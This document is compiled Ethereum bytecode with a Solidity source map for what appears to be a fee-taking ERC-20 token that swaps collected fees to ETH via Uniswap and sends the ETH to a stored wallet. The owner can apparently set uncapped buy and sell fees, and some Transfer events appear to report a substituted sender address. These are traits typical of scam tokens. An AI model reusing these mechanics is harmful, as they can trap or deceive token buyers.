d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092b9190611964565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b815260040161096992919061198f565b602060405180830381865afa158015610984573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a89190611964565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860156101000a81548160ff021916908315150217905550505050565b5f8054610a1690611706565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4290611706565b8015610a8d5780601f10610a6457610100808354040283529160200191610a8d565b820191905f5260205f20905b815481529060010190602001808311610a7057829003601f168201915b505050505081565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f80610abf61131e565b9050600860159054906101000a900460ff1680610b0757508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610b3d57508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610b45575f80fd5b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b91919061191d565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c015750600860149054906101000a900460ff16155b8015610c72575060646012600a610c189190611892565b6305f5e100610c2791906118dc565b610c3191906119e3565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610caa57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f3e576001600860146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610ce657610ce5611a13565b5b604051908082528060200260200182016040528015610d145781602001602082028036833780820191505090505b50905030815f81518110610d2b57610d2a611a40565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de69190611964565b81600181518110610dfa57610df9611a40565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610e749190611892565b6305f5e100610e8391906118dc565b610e8d91906119e3565b5f8430426040518663ffffffff1660e01b8152600401610eb1959493929190611b66565b5f604051808303815f87803b158015610ec8575f80fd5b505af1158015610eda573d5f803e3d5ffd5b505050508173ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610f21573d5f803e3d5ffd5b505f600860146101000a81548160ff021916908315150217905550505b5f8060025f0160149054906101000a900460ff1660025f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015610fb7575060011515600860159054906101000a900460ff161515145b15611098575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614611019578361101b565b825b60ff168761102991906118dc565b61103391906119e3565b90508086611041919061191d565b95508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461108f9190611bbe565b92505081905550505b8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110e49190611bbe565b92505081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036111ca578573ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516111bd9190611527565b60405180910390a3611310565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112a95760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161129c9190611527565b60405180910390a361130f565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516113069190611527565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8160025f0160146101000a81548160ff021916908360ff1602179055508060025f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113c882611386565b6113d28185611390565b93506113e28185602086016113a0565b6113eb816113ae565b840191505092915050565b5f6020820190508181035f83015261140e81846113be565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114438261141a565b9050919050565b61145381611439565b811461145d575f80fd5b50565b5f8135905061146e8161144a565b92915050565b5f819050919050565b61148681611474565b8114611490575f80fd5b50565b5f813590506114a18161147d565b92915050565b5f80604083850312156114bd576114bc611416565b5b5f6114ca85828601611460565b92505060206114db85828601611493565b9150509250929050565b5f8115159050919050565b6114f9816114e5565b82525050565b5f6020820190506115125f8301846114f0565b92915050565b61152181611474565b82525050565b5f60208201905061153a5f830184611518565b92915050565b5f805f6060848603121561155757611556611416565b5b5f61156486828701611460565b935050602061157586828701611460565b925050604061158686828701611493565b9150509250925092565b5f60ff82169050919050565b6115a581611590565b82525050565b5f6020820190506115be5f83018461159c565b92915050565b6115cd81611439565b82525050565b5f6060820190506115e65f8301866115c4565b6115f3602083018561159c565b611600604083018461159c565b949350505050565b5f6020828403121561161d5761161c611416565b5b5f61162a84828501611460565b91505092915050565b61163c81611590565b8114611646575f80fd5b50565b5f8135905061165781611633565b92915050565b5f806040838503121561167357611672611416565b5b5f61168085828601611649565b925050602061169185828601611649565b9150509250929050565b5f80604083850312156116b1576116b0611416565b5b5f6116be85828601611460565b92505060206116cf85828601611460565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061171d57607f821691505b6020821081036117305761172f6116d9565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156117b85780860481111561179457611793611736565b5b60018516156117a35780820291505b80810290506117b185611763565b9450611778565b94509492505050565b5f826117d0576001905061188b565b816117dd575f905061188b565b81600181146117f357600281146117fd5761182c565b600191505061188b565b60ff84111561180f5761180e611736565b5b8360020a91508482111561182657611825611736565b5b5061188b565b5060208310610133831016604e8410600b84101617156118615782820a90508381111561185c5761185b611736565b5b61188b565b61186e848484600161176f565b9250905081840481111561188557611884611736565b5b81810290505b9392505050565b5f61189c82611474565b91506118a783611590565b92506118d47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117c1565b905092915050565b5f6118e682611474565b91506118f183611474565b92508282026118ff81611474565b9150828204841483151761191657611915611736565b5b5092915050565b5f61192782611474565b915061193283611474565b925082820390508181111561194a57611949611736565b5b92915050565b5f8151905061195e8161144a565b92915050565b5f6020828403121561197957611978611416565b5b5f61198684828501611950565b91505092915050565b5f6040820190506119a25f8301856115c4565b6119af60208301846115c4565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119ed82611474565b91506119f883611474565b925082611a0857611a076119b6565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611a99611a94611a8f84611a6d565b611a76565b611474565b9050919050565b611aa981611a7f565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611ae181611439565b82525050565b5f611af28383611ad8565b60208301905092915050565b5f602082019050919050565b5f611b1482611aaf565b611b1e8185611ab9565b9350611b2983611ac9565b805f5b83811015611b59578151611b408882611ae7565b9750611b4b83611afe565b925050600181019050611b2c565b5085935050505092915050565b5f60a082019050611b795f830188611518565b611b866020830187611aa0565b8181036040830152611b988186611b0a565b9050611ba760608301856115c4565b611bb46080830184611518565b9695505050505050565b5f611bc882611474565b9150611bd383611474565b9250828201905080821115611beb57611bea611736565b5b9291505056fea26469706673582212201496da06c418e7db79a2219018c83bbaa670de5b3141ea20f7c56d7b389dc47064736f6c63430008190033

1361:5351:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4678:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4326:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1504:65;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4095:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1462:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1685:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;1998:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4777:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4541:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1423:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3316:162;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3733:354;;;;;;;;;;;;;:::i;:::-;;1385:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2049:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4678:91;4723:13;4756:5;4749:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4678:91;:::o;4326:207::-;4394:4;4444:6;4411:9;:21;4421:10;4411:21;;;;;;;;;;;;;;;:30;4433:7;4411:30;;;;;;;;;;;;;;;:39;;;;4487:7;4466:37;;4475:10;4466:37;;;4496:6;4466:37;;;;;;:::i;:::-;;;;;;;;4521:4;4514:11;;4326:207;;;;:::o;1504:65::-;1495:2;1555;:14;;;;:::i;:::-;1542:11;:27;;;;:::i;:::-;1504:65;:::o;4095:223::-;4211:4;4259:6;4228:9;:15;4238:4;4228:15;;;;;;;;;;;;;;;:27;4244:10;4228:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;4283:27;4293:4;4299:2;4303:6;4283:9;:27::i;:::-;4276:34;;4095:223;;;;;:::o;1462:35::-;1495:2;1462:35;:::o;1685:26::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1998:44::-;;;;;;;;;;;;;;;;;:::o;4777:95::-;4824:13;4857:7;4850:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4777:95;:::o;4541:129::-;4605:4;4629:33;4639:10;4651:2;4655:6;4629:9;:33::i;:::-;4622:40;;4541:129;;;;:::o;1423:32::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3316:162::-;3399:8;:6;:8::i;:::-;3385:22;;:10;:22;;;3381:48;;3416:13;;;;;;;;;;;;;;3381:48;3440:30;3458:4;3464:5;3440:17;:30::i;:::-;3316:162;;:::o;3733:354::-;3798:8;:6;:8::i;:::-;3784:22;;:10;:22;;;3776:31;;;;;;3827:11;;;;;;;;;;;3826:12;3818:21;;;;;;3850:16;2340:42;3869:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3850:45;;3906:13;2340:42;3922:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3906:39;;3956:13;3988:8;3972:33;;;4014:4;4021:5;3972:55;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3956:71;;4045:5;4038:4;;:12;;;;;;;;;;;;;;;;;;4075:4;4061:11;;:18;;;;;;;;;;;;;;;;;;3765:322;;;3733:354::o;1385:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2049:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5029:1680::-;5142:4;5159:16;5178:8;:6;:8::i;:::-;5159:27;;5205:11;;;;;;;;;;;:31;;;;5228:8;5220:16;;:4;:16;;;5205:31;:49;;;;5246:8;5240:14;;:2;:14;;;5205:49;5197:58;;;;;;5287:6;5268:9;:15;5278:4;5268:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;5330:4;;;;;;;;;;;5324:10;;:2;:10;;;:36;;;;;5352:8;;;;;;;;;;;5351:9;5324:36;:91;;;;;1762:3;1495:2;1555;:14;;;;:::i;:::-;1542:11;:27;;;;:::i;:::-;1748:17;;;;:::i;:::-;5377:9;:24;5395:4;5377:24;;;;;;;;;;;;;;;;:38;;5324:91;:124;;;;;5440:8;5432:16;;:4;:16;;;;5324:124;5306:712;;;5486:4;5475:8;;:15;;;;;;;;;;;;;;;;;;5505:21;5543:1;5529:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5505:40;;5578:4;5560;5565:1;5560:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;2340:42;5608:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5598:4;5603:1;5598:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;2340:42;5646:88;;;1762:3;1495:2;1555;:14;;;;:::i;:::-;1542:11;:27;;;;:::i;:::-;1748:17;;;;:::i;:::-;5790:1;5814:4;5849;5877:15;5646:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5934:8;5926:26;;:49;5953:21;5926:49;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6001:5;5990:8;;:16;;;;;;;;;;;;;;;;;;5460:558;5306:712;6031:13;6046:14;6065:9;:16;;;;;;;;;;;;6083:9;:17;;;;;;;;;;;;6030:71;;;;6132:4;6116:21;;:4;:21;;;;:44;;;;;6156:4;6141:19;;:11;;;;;;;;;;;:19;;;6116:44;6112:280;;;6177:27;6271:3;6241:4;;;;;;;;;;;6235:10;;:2;:10;;;:31;;6259:7;6235:31;;;6248:8;6235:31;6208:59;;:6;:59;;;;:::i;:::-;6207:67;;;;:::i;:::-;6177:97;;6299:19;6289:29;;;;;:::i;:::-;;;6361:19;6333:9;:24;6351:4;6333:24;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;6162:230;6112:280;6419:6;6402:9;:13;6412:2;6402:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;6450:9;;;;;;;;;;;6442:17;;:4;:17;;;6438:242;;6501:2;6481:31;;6490:9;;;;;;;;;;;6481:31;;;6505:6;6481:31;;;;;;:::i;:::-;;;;;;;;6438:242;;;6540:9;;;;;;;;;;;6534:15;;:2;:15;;;6530:150;;6586:9;;;;;;;;;;;6571:33;;6580:4;6571:33;;;6597:6;6571:33;;;;;;:::i;:::-;;;;;;;;6530:150;;;6657:2;6642:26;;6651:4;6642:26;;;6661:6;6642:26;;;;;;:::i;:::-;;;;;;;;6530:150;6438:242;6697:4;6690:11;;;;;5029:1680;;;;;:::o;3632:93::-;3672:7;3699:9;:18;;;;;;;;;;;;3692:25;;3632:93;:::o;3486:138::-;3576:4;3557:9;:16;;;:23;;;;;;;;;;;;;;;;;;3611:5;3591:9;:17;;;:25;;;;;;;;;;;;;;;;;;3486:138;;:::o;7:99:13:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4833:24;4851:5;4833:24;:::i;:::-;4828:3;4821:37;4746:118;;:::o;4870:426::-;5011:4;5049:2;5038:9;5034:18;5026:26;;5062:71;5130:1;5119:9;5115:17;5106:6;5062:71;:::i;:::-;5143:68;5207:2;5196:9;5192:18;5183:6;5143:68;:::i;:::-;5221;5285:2;5274:9;5270:18;5261:6;5221:68;:::i;:::-;4870:426;;;;;;:::o;5302:329::-;5361:6;5410:2;5398:9;5389:7;5385:23;5381:32;5378:119;;;5416:79;;:::i;:::-;5378:119;5536:1;5561:53;5606:7;5597:6;5586:9;5582:22;5561:53;:::i;:::-;5551:63;;5507:117;5302:329;;;;:::o;5637:118::-;5708:22;5724:5;5708:22;:::i;:::-;5701:5;5698:33;5688:61;;5745:1;5742;5735:12;5688:61;5637:118;:::o;5761:135::-;5805:5;5843:6;5830:20;5821:29;;5859:31;5884:5;5859:31;:::i;:::-;5761:135;;;;:::o;5902:466::-;5966:6;5974;6023:2;6011:9;6002:7;5998:23;5994:32;5991:119;;;6029:79;;:::i;:::-;5991:119;6149:1;6174:51;6217:7;6208:6;6197:9;6193:22;6174:51;:::i;:::-;6164:61;;6120:115;6274:2;6300:51;6343:7;6334:6;6323:9;6319:22;6300:51;:::i;:::-;6290:61;;6245:116;5902:466;;;;;:::o;6374:474::-;6442:6;6450;6499:2;6487:9;6478:7;6474:23;6470:32;6467:119;;;6505:79;;:::i;:::-;6467:119;6625:1;6650:53;6695:7;6686:6;6675:9;6671:22;6650:53;:::i;:::-;6640:63;;6596:117;6752:2;6778:53;6823:7;6814:6;6803:9;6799:22;6778:53;:::i;:::-;6768:63;;6723:118;6374:474;;;;;:::o;6854:180::-;6902:77;6899:1;6892:88;6999:4;6996:1;6989:15;7023:4;7020:1;7013:15;7040:320;7084:6;7121:1;7115:4;7111:12;7101:22;;7168:1;7162:4;7158:12;7189:18;7179:81;;7245:4;7237:6;7233:17;7223:27;;7179:81;7307:2;7299:6;7296:14;7276:18;7273:38;7270:84;;7326:18;;:::i;:::-;7270:84;7091:269;7040:320;;;:::o;7366:180::-;7414:77;7411:1;7404:88;7511:4;7508:1;7501:15;7535:4;7532:1;7525:15;7552:102;7594:8;7641:5;7638:1;7634:13;7613:34;;7552:102;;;:::o;7660:848::-;7721:5;7728:4;7752:6;7743:15;;7776:5;7767:14;;7790:712;7811:1;7801:8;7798:15;7790:712;;;7906:4;7901:3;7897:14;7891:4;7888:24;7885:50;;;7915:18;;:::i;:::-;7885:50;7965:1;7955:8;7951:16;7948:451;;;8380:4;8373:5;8369:16;8360:25;;7948:451;8430:4;8424;8420:15;8412:23;;8460:32;8483:8;8460:32;:::i;:::-;8448:44;;7790:712;;;7660:848;;;;;;;:::o;8514:1073::-;8568:5;8759:8;8749:40;;8780:1;8771:10;;8782:5;;8749:40;8808:4;8798:36;;8825:1;8816:10;;8827:5;;8798:36;8894:4;8942:1;8937:27;;;;8978:1;8973:191;;;;8887:277;;8937:27;8955:1;8946:10;;8957:5;;;8973:191;9018:3;9008:8;9005:17;9002:43;;;9025:18;;:::i;:::-;9002:43;9074:8;9071:1;9067:16;9058:25;;9109:3;9102:5;9099:14;9096:40;;;9116:18;;:::i;:::-;9096:40;9149:5;;;8887:277;;9273:2;9263:8;9260:16;9254:3;9248:4;9245:13;9241:36;9223:2;9213:8;9210:16;9205:2;9199:4;9196:12;9192:35;9176:111;9173:246;;;9329:8;9323:4;9319:19;9310:28;;9364:3;9357:5;9354:14;9351:40;;;9371:18;;:::i;:::-;9351:40;9404:5;;9173:246;9444:42;9482:3;9472:8;9466:4;9463:1;9444:42;:::i;:::-;9429:57;;;;9518:4;9513:3;9509:14;9502:5;9499:25;9496:51;;;9527:18;;:::i;:::-;9496:51;9576:4;9569:5;9565:16;9556:25;;8514:1073;;;;;;:::o;9593:281::-;9651:5;9675:23;9693:4;9675:23;:::i;:::-;9667:31;;9719:25;9735:8;9719:25;:::i;:::-;9707:37;;9763:104;9800:66;9790:8;9784:4;9763:104;:::i;:::-;9754:113;;9593:281;;;;:::o;9880:410::-;9920:7;9943:20;9961:1;9943:20;:::i;:::-;9938:25;;9977:20;9995:1;9977:20;:::i;:::-;9972:25;;10032:1;10029;10025:9;10054:30;10072:11;10054:30;:::i;:::-;10043:41;;10233:1;10224:7;10220:15;10217:1;10214:22;10194:1;10187:9;10167:83;10144:139;;10263:18;;:::i;:::-;10144:139;9928:362;9880:410;;;;:::o;10296:194::-;10336:4;10356:20;10374:1;10356:20;:::i;:::-;10351:25;;10390:20;10408:1;10390:20;:::i;:::-;10385:25;;10434:1;10431;10427:9;10419:17;;10458:1;10452:4;10449:11;10446:37;;;10463:18;;:::i;:::-;10446:37;10296:194;;;;:::o;10496:143::-;10553:5;10584:6;10578:13;10569:22;;10600:33;10627:5;10600:33;:::i;:::-;10496:143;;;;:::o;10645:351::-;10715:6;10764:2;10752:9;10743:7;10739:23;10735:32;10732:119;;;10770:79;;:::i;:::-;10732:119;10890:1;10915:64;10971:7;10962:6;10951:9;10947:22;10915:64;:::i;:::-;10905:74;;10861:128;10645:351;;;;:::o;11002:332::-;11123:4;11161:2;11150:9;11146:18;11138:26;;11174:71;11242:1;11231:9;11227:17;11218:6;11174:71;:::i;:::-;11255:72;11323:2;11312:9;11308:18;11299:6;11255:72;:::i;:::-;11002:332;;;;;:::o;11340:180::-;11388:77;11385:1;11378:88;11485:4;11482:1;11475:15;11509:4;11506:1;11499:15;11526:185;11566:1;11583:20;11601:1;11583:20;:::i;:::-;11578:25;;11617:20;11635:1;11617:20;:::i;:::-;11612:25;;11656:1;11646:35;;11661:18;;:::i;:::-;11646:35;11703:1;11700;11696:9;11691:14;;11526:185;;;;:::o;11717:180::-;11765:77;11762:1;11755:88;11862:4;11859:1;11852:15;11886:4;11883:1;11876:15;11903:180;11951:77;11948:1;11941:88;12048:4;12045:1;12038:15;12072:4;12069:1;12062:15;12089:85;12134:7;12163:5;12152:16;;12089:85;;;:::o;12180:60::-;12208:3;12229:5;12222:12;;12180:60;;;:::o;12246:158::-;12304:9;12337:61;12355:42;12364:32;12390:5;12364:32;:::i;:::-;12355:42;:::i;:::-;12337:61;:::i;:::-;12324:74;;12246:158;;;:::o;12410:147::-;12505:45;12544:5;12505:45;:::i;:::-;12500:3;12493:58;12410:147;;:::o;12563:114::-;12630:6;12664:5;12658:12;12648:22;;12563:114;;;:::o;12683:184::-;12782:11;12816:6;12811:3;12804:19;12856:4;12851:3;12847:14;12832:29;;12683:184;;;;:::o;12873:132::-;12940:4;12963:3;12955:11;;12993:4;12988:3;12984:14;12976:22;;12873:132;;;:::o;13011:108::-;13088:24;13106:5;13088:24;:::i;:::-;13083:3;13076:37;13011:108;;:::o;13125:179::-;13194:10;13215:46;13257:3;13249:6;13215:46;:::i;:::-;13293:4;13288:3;13284:14;13270:28;;13125:179;;;;:::o;13310:113::-;13380:4;13412;13407:3;13403:14;13395:22;;13310:113;;;:::o;13459:732::-;13578:3;13607:54;13655:5;13607:54;:::i;:::-;13677:86;13756:6;13751:3;13677:86;:::i;:::-;13670:93;;13787:56;13837:5;13787:56;:::i;:::-;13866:7;13897:1;13882:284;13907:6;13904:1;13901:13;13882:284;;;13983:6;13977:13;14010:63;14069:3;14054:13;14010:63;:::i;:::-;14003:70;;14096:60;14149:6;14096:60;:::i;:::-;14086:70;;13942:224;13929:1;13926;13922:9;13917:14;;13882:284;;;13886:14;14182:3;14175:10;;13583:608;;;13459:732;;;;:::o;14197:831::-;14460:4;14498:3;14487:9;14483:19;14475:27;;14512:71;14580:1;14569:9;14565:17;14556:6;14512:71;:::i;:::-;14593:80;14669:2;14658:9;14654:18;14645:6;14593:80;:::i;:::-;14720:9;14714:4;14710:20;14705:2;14694:9;14690:18;14683:48;14748:108;14851:4;14842:6;14748:108;:::i;:::-;14740:116;;14866:72;14934:2;14923:9;14919:18;14910:6;14866:72;:::i;:::-;14948:73;15016:3;15005:9;15001:19;14992:6;14948:73;:::i;:::-;14197:831;;;;;;;;:::o;15034:191::-;15074:3;15093:20;15111:1;15093:20;:::i;:::-;15088:25;;15127:20;15145:1;15127:20;:::i;:::-;15122:25;;15170:1;15167;15163:9;15156:16;;15191:3;15188:1;15185:10;15182:36;;;15198:18;;:::i;:::-;15182:36;15034:191;;;;:::o

ipfs://1496da06c418e7db79a2219018c83bbaa670de5b3141ea20f7c56d7b389dc470